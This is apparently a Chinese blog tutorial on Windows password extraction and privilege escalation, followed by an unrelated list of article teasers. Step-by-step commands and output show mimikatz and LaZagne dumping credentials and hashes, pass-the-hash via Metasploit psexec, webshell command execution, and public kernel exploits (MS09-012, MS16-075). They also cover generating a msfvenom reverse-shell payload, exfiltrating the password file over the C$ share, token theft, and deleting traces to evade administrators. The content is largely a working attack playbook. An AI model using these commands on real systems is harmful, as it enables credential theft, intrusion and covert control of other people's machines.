51-52Windows密码安全性测试与Windows提权

目录

Windows密码安全性测试

一、本地管理员密码如何直接提取

1、直接通过mimikatz读取管理员密码

2、使用laZagne工具读取管理员密码

二、利用Hash远程登录系统

 window提权

三、远程webshell执行命令解决

不能执行原因:

解决方法:单独上传cmd.exe到有读写权限目录执行。

1、网站目录寻找有读写权限目录

2、上传cmd.exe到读写权限目录

四、提权

1、菜刀提权

使用MS09-012漏洞

 2、msf提权


Windows密码安全性测试

一、本地管理员密码如何直接提取

需把读取管理员密码的工具上传到目标主机后(通过低权限账户访问、利用漏洞等)执行工具里的批处理脚本生成文本文件,下载文本文件获取到管理员密码。

1、直接通过mimikatz读取管理员密码

1.1使用【mimikatz】命令行工具提权:

正常情况下通过webshell上传【mimikatz】工具包,在运行批处理脚本生成读取管理员密码的文档。

此处先用命令行进行演示:

【mimikatz】放到C盘下,cmd切换到32位目录下运行mimikatz.exe:

运行步骤: 

cmd切换到目录下:
cd C:\mimikatz\Win32

运行程序:
mimikatz.exe

提升权限privilege::debug:
mimikatz # privilege::debug
Privilege '20' OK

抓取密码sekurlsa::logonpassWords:
mimikatz # sekurlsa::logonpassWords

 获取到密码:

输出结果:
Authentication Id : 0 ; 80142 (00000000:0001390e)
Session           : Service from 0
User Name         : Administrator
Domain            : OLDBOY-F74D04FE
Logon Server      : OLDBOY-F74D04FE
Logon Time        : 2024-5-28 21:30:53
SID               : S-1-5-21-919573472-2361006267-3082311417-500
        msv :
         [00000002] Primary
         * Username : Administrator
         * Domain   : OLDBOY-F74D04FE
         * LM       : 44efce164ab921caaad3b435b51404ee
         * NTLM     : 32ed87bdb5fdc5e9cba88547376818d4
         * SHA1     : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
        wdigest :
         * Username : Administrator
         * Domain   : OLDBOY-F74D04FE
         * Password : 123456
        kerberos :
         * Username : Administrator
         * Domain   : OLDBOY-F74D04FE
         * Password : 123456
        ssp :
        credman :

 批处理方式:

新建aaa.bat批处理文件并写入123.txt文件,批处理文件内容如下:

mimikatz.exe "privilege::debug" "sekurlsa::logonpassWords" exit>123.txt


 远程获取目标主机密码大致方法:

准备阶段

  1. 选择合适的工具:选择一个适合提取密码的工具,如Mimikatz。确保该工具适用于目标系统的操作系统版本。

  2. 编写批处理脚本:创建一个批处理脚本(passwords.bat文件),用于自动化执行密码提取和结果保存过程。例如:

mimikatz.exe privilege::debug sekurlsa::logonpasswords > passwords.txt

这段脚本首先提升Mimikatz的权限,然后执行密码提取命令,并将输出重定向到passwords.txt文件中。

上传与执行

  1. 上传工具和脚本:使用您已有的访问权限(如低权限账户、已知漏洞等),将Mimikatz可执行文件和上述批处理脚本上传到目标主机。可以使用copy命令(通过命令行)、SCP、SMB共享或其他文件传输方法。

  2. 执行批处理脚本

    通过远程桌面、PsExec、PowerShell Remoting或计划任务等方式,远程执行上传的批处理脚本。例如,如果脚本位于C:\temp\passwords.bat,可以通过PsExec执行:

psexec \\target_ip -u low_privilege_user -p password C:\temp\passwords.bat

  • psexec: 使用PsExec工具,这是一个轻量级的telnet-replacement,可以远程执行命令行程序。
  • \\target_ip: 指定目标计算机的IP地址。
  • -u low_privilege_user -p password: 分别指定了用于远程登录目标计算机的低权限用户名和密码。
  • C:\temp\extract_passwords.bat: 指定在目标计算机上要执行的批处理脚本的完整路径。

下载结果

  1. 下载密码文件:一旦批处理脚本执行完成,会在指定位置生成包含密码信息的文本文件(在这个例子中是passwords.txt)。使用与上传时相同或类似的方法,将此文件下载回你的工作站进行分析。

copy \\target_ip\C$\temp\passwords.txt C:\local_download\

  • copy: 这是Windows命令行中用于复制文件的命令。
  • \\target_ip\C$: 这部分指定了网络路径,其中\\target_ip是目标计算机的IP地址,\C$是Windows系统默认的管理员共享,允许你访问目标计算机的C盘根目录。这要求你有相应的网络访问权限和认证信息。
  • temp\passwords.txt: 表示在目标计算机C盘的temp目录下名为passwords.txt的文件,这是你要复制的源文件。
  • C:\local_download\: 这是目标路径,即你希望在本地计算机上存放复制文件的位置。请确保该目录事先存在,否则命令可能会失败。

清理与报告

  1. 清理痕迹:为了减少被目标系统管理员发现的风险,考虑在操作完成后删除上传的工具、脚本和生成的密码文件。

  2. 分析与报告:在安全的环境中分析下载的密码文件,提取所需信息,并根据测试或审计需求准备相应的报告。


2、使用laZagne工具读取管理员密码

cmd里切换到目录:
cd C:\lan\lan2

运行:
laZagne.exe

-------

positional arguments:
  {chats,svn,all,wifi,mails,windows,database,sysadmin,browsers}
                        Choose a main command
    chats               Run chats module #运行聊天模块
    svn                 Run svn module #运行SVN版本控制系统模块
    all                 Run all modules #运行所有模块
    wifi                Run wifi module #运行无线网络相关模块
    mails               Run mails module #运行邮件管理模块
    windows             Run windows module #运行针对Windows系统的模块
    database            Run database module #运行数据库操作模块
    sysadmin            Run sysadmin module #运行系统管理员相关模块
    browsers            Run browsers module #运行浏览器相关模块

使用所有模块:
laZagne.exe all
追加到1.txt:
laZagne.exe all >>1.txt

 输出结果:


|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Windows Secrets passwords -----------------

[*] Local SAM hashes

Password found !!!
Category: System account
password: 123456
user: Administrator

Password found !!!
Category: System account
password: 123
user: 123

Hashes found !!!
hashes: 

Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SUPPORT_388945a0:1001:aad3b435b51404eeaad3b435b51404ee:03ebb3c522071ac94b606f483fc10157:::
IUSR_OLDBOY-F74D04FE:1003:bc210210ecc96be6fd0522aa8ea96524:23561981a86db65e75fd296999b95667:::
IWAM_OLDBOY-F74D04FE:1004:cac4a79fa775cb9b8665ee4c08ed3930:8856078abf69a2bb27f287b8afde005b:::
ASPNET:1006:31ca4e307dc8dd4939d0ac34166cf041:47acc6d9ea07e60931e2a49bb6433aae:::
123:1015:ccf9155e3e7db453aad3b435b51404ee:3dbde697d71690a769204beb12283678:::


[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 0.483999967575

 批处理方式:

 --新建aaa.bat批处理文件并写入123.txt文件,批处理文件内容如下:
laZagne.exe all exit>123.txt

有明文密码和哈希值密码,哈希值密码可通过cmd5在线平台尝试解密:cmd5

也可通过哈希值直接远程攻击。(见下)

二、利用Hash远程登录系统

结合【laZagne】工具获取到的管理员密码哈希值远程登陆系统

使用低版本kali【kali-2.0】;高版本不行

 【laZagne】工具获取到的管理员密码哈希值:

44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

  打开kali2.0,主要通过MSF提供的exploit/windows/smb/psexec 模块来完成。 

  建立远程登录并执行操作系统命令步骤:

使用msf工具:
root@kali:~# msfconsole 

选择exploit模块:
msf > use exploit/windows/smb/psexec

查看配置选项:
msf exploit(psexec) > show options 

设置目标IP地址:
msf exploit(psexec) > set RHOST 10.0.0.101

设置SMB用户名:
msf exploit(psexec) > set SMBUser administrator

设置SMB密码(哈希值):
msf exploit(psexec) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

再次查看配置以确认:
msf exploit(psexec) > show options 

执行攻击载荷(也可使用exploit):
msf exploit(psexec) > run

获得Meterpreter会话并切换到目标系统的命令行:
meterpreter > shell

执行操作系统命令:
c:\Windows\system32>whoami

详细步骤:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                                  yes       The target address
   RPORT                 445              yes       Set the SMB service port
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             WORKGROUP        no        The Windows domain to use for authentication
   SMBPass                                no        The password for the specified username
   SMBUser                                no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > set RHOST 10.0.0.101
RHOST => 10.0.0.101
msf exploit(psexec) > set SMBUser administrator
SMBUser => administrator
msf exploit(psexec) > set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
SMBPass => 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4
msf exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting                                                    Required  Description
   ----                  ---------------                                                    --------  -----------
   RHOST                 10.0.0.101                                                         yes       The target address
   RPORT                 445                                                                yes       Set the SMB service port
   SERVICE_DESCRIPTION                                                                      no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                     no        The service display name
   SERVICE_NAME                                                                             no        The service name
   SHARE                 ADMIN$                                                             yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             WORKGROUP                                                          no        The Windows domain to use for authentication
   SMBPass               44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4  no        The password for the specified username
   SMBUser               administrator                                                      no        The username to authenticate as


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) > run

[*] Started reverse handler on 10.0.0.109:4444 
[*] Connecting to the server...
[*] Authenticating to 10.0.0.101:445|WORKGROUP as user 'administrator'...
[*] Uploading payload...
[*] Created \UiDdhSlk.exe...
[+] 10.0.0.101:445 - Service started successfully...
[*] Sending stage (885806 bytes) to 10.0.0.101
[*] Deleting \UiDdhSlk.exe...
[*] Meterpreter session 1 opened (10.0.0.109:4444 -> 10.0.0.101:3082) at 2024-06-14 15:50:18 +0800


meterpreter > shell
Process 14176 created.
Channel 1 created.
Microsoft Windows [°汾 5.2.3790]
(C) °爨̹Ԑ 1985-2003 Microsoft Corp.                                                             ' ²»ˇŚ²¿»󎢲¿ļ®£¬Ҳ²»ˇ¿ʔ̐еij͐ 


c:\Windows\system32>whoami
whoami
nt authority\system

c:\Windows\system32>


 window提权

三、远程webshell执行命令解决

phpstudy运行为管理员运行,iis中间件运行为普通用户运行。

网站权限:网站一般不会设置写入权限,脚本执行权限默认为开启状态。

images图片目录一定会给写入权限 ,但要注意脚本执行权限关闭(无)


本次验证xy网站给的所有权限,且为默认IUSR用户

利用漏洞上传一句话木马到iis网站根目录,菜刀连接可以连接查看目录:

http://10.0.0.101:86/123.asp

但是远程不能执行系统命令:

说明:xy网站设置的为所有权限,根据权限的继承性,上传的文件会继承xy文件夹的权限;即便是(IUSR用户)所有权限也无法远程执行操作系统命令。

不能执行原因:

远程执行操作系统命令需调用目标主机系统的cmd.exe程序,cmd.exe无IUSE用户没有权限。

解决方法:单独上传cmd.exe到有读写权限目录执行。

1、网站目录寻找有读写权限目录

上传可检测网站读写权限的小马(通过漏洞方式,此处演示直接上传)

http://10.0.0.101:86/11.asp

2、上传cmd.exe到读写权限目录

菜刀上传到有权限目录;

 3、菜刀执行命令设置调用上传的cmd.exe进行执行:

setp C:\lan\lan2\cmd.exe

C:\wwwtest\1111\wwwwtest\XYCMS\> netstat -an | find "ESTABLISHED"
[Err] 拒绝访问。

C:\wwwtest\1111\wwwwtest\XYCMS\> whoami
[Err] 拒绝访问。

C:\wwwtest\1111\wwwwtest\XYCMS\> setp C:\lan\lan2\cmd.exe
设置终端路径为:C:\lan\lan2\cmd.exe

C:\wwwtest\1111\wwwwtest\XYCMS\> whoami
nt authority\network service(成功执行)

 (还是普通用户,可以执行命令)

四、提权

提权常用命令

whoami ——查看用户权限

systeminfo ——查看操作系统,补丁情况

ipconfig——查看当前服务器IP

ipconfig /all net user——查看当前用户情况

netstat ——查看当前网络连接情况  netstat –ano  /netstat –an | find “ESTABLISHED”

tasklist ——查看当前进程情况

tasklist /svc taskkill ——结束进程

taskkill -PID xx net start  ——启动服务

net stop ——停止服务 

常用提权exploits(漏洞利用)

MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)

CVE-2017-8464[LNKRemoteCodeExecutionVulnerability](windows10/8.1/7/2016/2010/2008)

CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows10/8.1/7/2016/2010/2008)

MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP)

MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)

MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)

MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)

MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)

MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)

MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)

MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)

MS15-097 [KB3089656] [remote code execution] (win8.1/2012)

MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012)

MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012)

MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012)

MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012)

MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8)

MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2)

MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8)

MS14-070 [KB2989935] [Kernel Driver] (2003)

MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8)

MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8)

MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8)

MS14-002 [KB2914368] [NDProxy] (2003/XP)

MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7)

MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7)

MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8)

MS12-042 [KB2972621] [Service Bus] (2008/2012/win7)

MS12-020 [KB2671387] [RDP] (2003/2008/7/XP)

MS11-080 [KB2592799] [AFD.sys] (2003/XP)

MS11-062 [KB2566454] [NDISTAPI] (2003/XP)

MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP)

MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista)

MS10-092 [KB2305420] [Task Scheduler] (2008/7)

MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5)

MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista)

MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7)

MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP)

MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2)

MS09-050 [KB975517][Remote Code Execution] (2008/Vista)

MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0)

MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista)

MS08-068 [KB957097] [Remote Code Execution] (2000/XP)

MS08-067[KB958644][RemoteCodeExecution](Windows 2000/XP/Server 2003/Vista/Server 2008)

MS08-066 [] [] (Windows 2000/XP/Server 2003)

MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista)

MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000)

MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003)

MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)

已对外公开提权exploits(漏洞利用):

https://github.com/SecWiki/windows-kernel-exploits

https://github.com/WindowsExploits/Exploits

https://github.com/AusJock/Privilege-Escalation

1、菜刀提权

使用MS09-012漏洞

1.1查看是否打相关漏洞补丁

注意:使用漏洞编号要先确认目标主机是否已打此漏洞补丁;

systeminfo     查看操作系统,补丁情况

MS09-012补丁编号为KB952004;此演示目标主机为打此漏洞补丁

---------------- 

1.2打开下载的MS09-012漏洞工具(https://github.com/SecWiki/windows-kernel-exploits);把文件中的pr.exe上传用菜刀上传到权限目录;使用pr.exe程序执行命令即可提权

步骤:

1、打开MS09-012文件夹,选择pr.exe;

2、菜刀打开权限目录右击上传pr.exe到目标主机:

3、打开菜刀模拟终端,切换到上传目录,pr.exe执行命令进行提权:

cd C:\lan\lan2

pr.exe "whoami"

C:\wwwtest\1111\wwwwtest\XYCMS\> cd C:\lan\lan2

C:\lan\lan2\> pr.exe "whoami"
/xxoo/-->Build&&Change By p 
/xxoo/-->This exploit gives you a Local System shell 
/xxoo/-->Got WMI process Pid: 6744 
begin to try
/xxoo/-->Found token SYSTEM 
/xxoo/-->Command:whoami
nt authority\system(成功提权)

提权成功: 

 可添加用户


 2、msf提权

kali2022生成木马:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.200 LPORT=4444 -f exe -o lan.exe

注解:

  • msfvenom: Metasploit框架中的组件,用于生成各种类型的payload,支持多种平台和格式。

  • -p: 指定要使用的payload类型;windows/meterpreter/reverse_tcp,意味着生成的payload会在目标Windows系统上运行,建立一个反向TCP连接到攻击者的机器。

  • LHOST=192.168.0.107: 设置监听payload连接的本地主机IP地址

  • LPORT=4444: 设置监听的端口号

  • -f exe: 指定输出格式为可执行文件(.exe),这意味着生成的payload将是一个可以直接在Windows系统上运行的可执行文件。

  • -o lan.exe: 指定输出文件名为lan.exe,即生成的恶意payload将被保存为这个名字的文件。

 下载生成的木马:

xshell输入命令:sz lan.exe

 上传到目标主机权限目录下:


kali本地监听:

┌──(root㉿oldboy)-[~]
└─# msfconsole 

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 10.0.0.200
lhost => 10.0.0.200

msf6 exploit(multi/handler) > show options 

msf6 exploit(multi/handler) > exploit 

meterpreter >

 msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 10.0.0.200 (监听payload连接的本地主机IP地址;kali)

show options

exploit

菜刀模拟终端利用上传的cmd.exe执行木马文件:

 C:\wwwtest\1111\wwwwtest\XYCMS\> setp C:\lan\lan2\cmd.exe (调用上传的cmd.exe执行命令)
设置终端路径为:C:\lan\lan2\cmd.exe

C:\wwwtest\1111\wwwwtest\XYCMS\> cd C:\lan\lan2\  (切换到木马文件目录下)

C:\lan\lan2\> whoami
nt authority\network service  (普通用户)


C:\lan\lan2\> lan.exe  (执行木马)
Run command [lan.exe] failed!

 成功本地监听:

查看当前权限:

 

 会话后台运行,返回MSF控制台:background

 使用漏洞提权:

如:烂土豆提权(ms16-075)

msf6 > search MS16-075

msf6 > use 0

msf6 exploit(windows/local/ms16_075_reflection) > show options

msf6 exploit(windows/local/ms16_075_reflection) > sessions -i

msf6 exploit(windows/local/ms16_075_reflection) > set session 2

msf6 exploit(windows/local/ms16_075_reflection) > exploit

meterpreter > getuid

 产生第三个会话;未能提升权限;通过窃取令牌,模仿令牌解决烂土豆未提升权限

 再list_tokens -u(访问的所有用户令牌信息)看一下, 可以看到当前是有了一个SYSTEM权限的模仿令牌

meterpreter > use incognito

meterpreter > list_tokens -u

执行偷取窃取令牌命令:

meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"

getuid看下自己的当前用户ID,可以看到是SYSTEM 。使用shell命令获得一个交互式cmd shell:

 (shell未能进入目标主机命令行,ps查看进程使用migrate进程迁移重新进入命令行)

meterpreter > getuid

meterpreter > shell
--------------------------------

meterpreter > shell

meterpreter > ps

meterpreter > migrate 6876

meterpreter > shell

提权完成 


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/735898.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Leetcode84 柱状图中最大的矩形

题目描述 给定 n 个非负整数,用来表示柱状图中各个柱子的高度。每个柱子彼此相邻,且宽度为 1 。 求在该柱状图中,能够勾勒出来的矩形的最大面积 解题思路 思路一:暴力寻找,从每个位置出发,向左右两边扩…

Android View点击事件分发原理,源码解读

View点击事件分发原理,源码解读 前言1. 原理总结2.1 时序图总结2.2 流程图总结 2. 源码解读2.1 Activity到ViewGroup2.2 ViewGroup事件中断逆序搜索自己处理点击事件ViewGroup总结 2.3 ViewOnTouchListeneronTouchEvent 3. 附录:时序图uml代码 前言 两年…

Windows Api如何创建一个快捷方式并且在开始菜单搜索到自己的应用

原文链接:http://cshelloworld.com/home/detail/1804473083243925504 当我们点击win10系统搜索框的时候,输入名称 ,win10会帮助我们匹配到对应的应用。这里搜索框实际上就是windows系统的开始菜单。 接下来我们随便找一个应用,右…

Adobe XD最新2023资源百度云盘下载(附教程)

如大家所了解的,Adobe XD是一种基于矢量的UI和UX设计工具,可用于设计从智能手表应用程序到成熟网站的任何内容,功能非常强大且操作便捷。目前最新已推出2023版本。 Adobe XD解决了Photoshop和其他图形应用程序无法解决的两个主要问题&#xf…

LSSS算法实现,基于eigen和pbc密码库【一文搞懂LSSS,原理+代码】

文章目录 一. LSSS简介1.1 概述1.2 线性秘密分享方案(LSSS)与 Shamir的秘密分享方案对比LSSS1.2.1 Shamir的秘密分享方案1.2.2 线性秘密分享方案(LSSS)1.2.3 主要区别 二. 基于矩阵的LSSS加解密原理分析2.1 LSSS矩阵构造2.1.1 定义…

Bytebase 对接本地部署的 llama3 开启ChatSQL功能

Bytebase 是为开发人员、测试、DBA和运维工程师构建的数据库 DevOps 领域的,类 GitLab/GitHub 平台。 这篇文章主要关注 Bytebase SQL 编辑器中的 AI 增强功能。使用此功能您可以使用自然语言在 Bytebase SQL 编辑器中查询数据库。同时还能给出针对查询的索引建议&…

WSL+Anconda(pytorch深度学习)环境配置

动机 最近在读point cloud相关论文,准备拉github上相应的code跑一下,但是之前没有深度学习的经验,在配置环境方面踩了超级多的坑,依次来记录一下。 一开始我直接将code拉到了windows本地来运行,遇到了数不清的问题&a…

骑马与砍杀-战团mod制作-基础篇-武器模型入骑砍(二)

骑马与砍杀战团mod制作-基础-武器模型入骑砍笔记(二) 资料来源 学习的资料来源: b站【三啸解说】手把手教你做【骑砍】MOD,基础篇,链接为: https://www.bilibili.com/video/BV19x411Q7No?p4&vd_sour…

【Python】已解决:安装python-Levenshtein包时遇到的subprocess-exited-with-error问题

文章目录 一、分析问题背景二、可能出错的原因三、错误代码示例四、正确代码示例及解决方案五、注意事项 已解决:安装python-Levenshtein包时遇到的subprocess-exited-with-error问题 一、分析问题背景 在安装python-Levenshtein这个Python包时,有时会…

Applied Spatial Statistics(七):Python 中的空间回归

Applied Spatial Statistics(七):Python 中的空间回归 本笔记本演示了如何使用 pysal 的 spreg 库拟合空间滞后模型和空间误差模型。 OLS空间误差模型空间滞后模型三种模型的比较探索滞后模型中的直接和间接影响 import numpy as np impor…

【人工智能】—XGBoost算法在构建互联网防火墙异常行为识别模型应用案例

摘要: 近年来,各地党委、政府加快推进新型工业化,部署实施制造强市战略,提出工业企业“智改数转”是推动全市工业经济稳增长的重要引擎,更是稳增长、促发展的重要抓手。今天博主就以互联网防火墙异常行为识别为例给大家…

js实现canvas截图功能

关键代码 使用canvas的导出功能和drawImage函数 class CropShape{cropShape(shape){let {x,y,w,h} shapeconsole.log(x,y,w,h)const roiCanvas document.createElement(canvas);document.getElementById(app).append(roiCanvas)const roiCtx roiCanvas.getContext(2d);roi…

CTO的职责是什么?

看《架构思维》作者是这样讲的: CTO 到底是做什么的? 我当下的答案是:“CTO 就是一个从技术视角出发,为公司或者所在的部门做正确决策的 CEO。”怎么理解这句话呢?作为一个 CTO,其长期目标和决策优先级与…

vscode用vue框架2,续写登陆页面逻辑,以及首页框架的搭建

目录 前言: 一、实现登录页信息验证逻辑 1.实现登录数据双向绑定 2.验证用户输入数据是否和默认数据相同 补充知识1: 知识点补充2: 二、首页和登录页之间的逻辑(1) 1. 修改路由,使得程序被访问先访问首页 知识点补充3&am…

经典机器学习方法(7)—— 卷积神经网络CNN

参考:《动手学深度学习》第六章 卷积神经网络(convolutional neural network,CNN)是一类针对图像数据设计的神经网络,它充分利用了图像数据的特点,具有适合图像特征提取的归纳偏置,因而在图像相…

信息安全基础知识(完整)

信息安全基础知识 安全策略表达模型是一种对安全需求与安全策略的抽象概念表达,一般分为自主访问控制模型(HRU)和强制访问控制模型(BLP、Biba)IDS基本原理是通过分析网络行为(访问方式、访问量、与历史访问…

程序猿大战Python——面向对象——继承进阶

方法重写 目标:掌握方法的重写。 当父类的同名方法达不到子类的要求,则可以在子类中对方法进行重写。语法: class 父类名(object):def 方法A(self):代码... class 子类名(父类名):def 方法A(self):代码... 例如,一起来完成&…

Ubuntu下安装docker

一、docker安装说明 解决官方源无法下载的问题 二、使用步骤 1.更新软件包索引 sudo apt-get update2.安装必要的软件包,以允许apt通过HTTPS使用仓库 sudo apt-get install apt-transport-https ca-certificates curl software-properties-common3.添加Docker的…

数据结构:冒泡排序,选择排序,插入排序,希尔排序的实现分析

✨✨小新课堂开课了,欢迎欢迎~✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:数据结构与算法 小新的主页:编程版小新-CSDN博客 1.冒泡排序 1.1算法思想 冒泡排序的基本思想就是&a…

LLM端侧部署系列 | 如何将阿里千问大模型Qwen部署到手机上?环境安装及其配置(上篇)

引言 下载待部署模型 安装minconda 安装tvm和mlc-llm 安装 JDK 安装 Android SDK 下载mlc-llm仓库 设置环境变量 安装Rust 1. 引言 梨花风起正清明,游子寻春半出城。 小伙伴们好,我是公众号《小窗幽记机器学习》的小编:卖青团的小…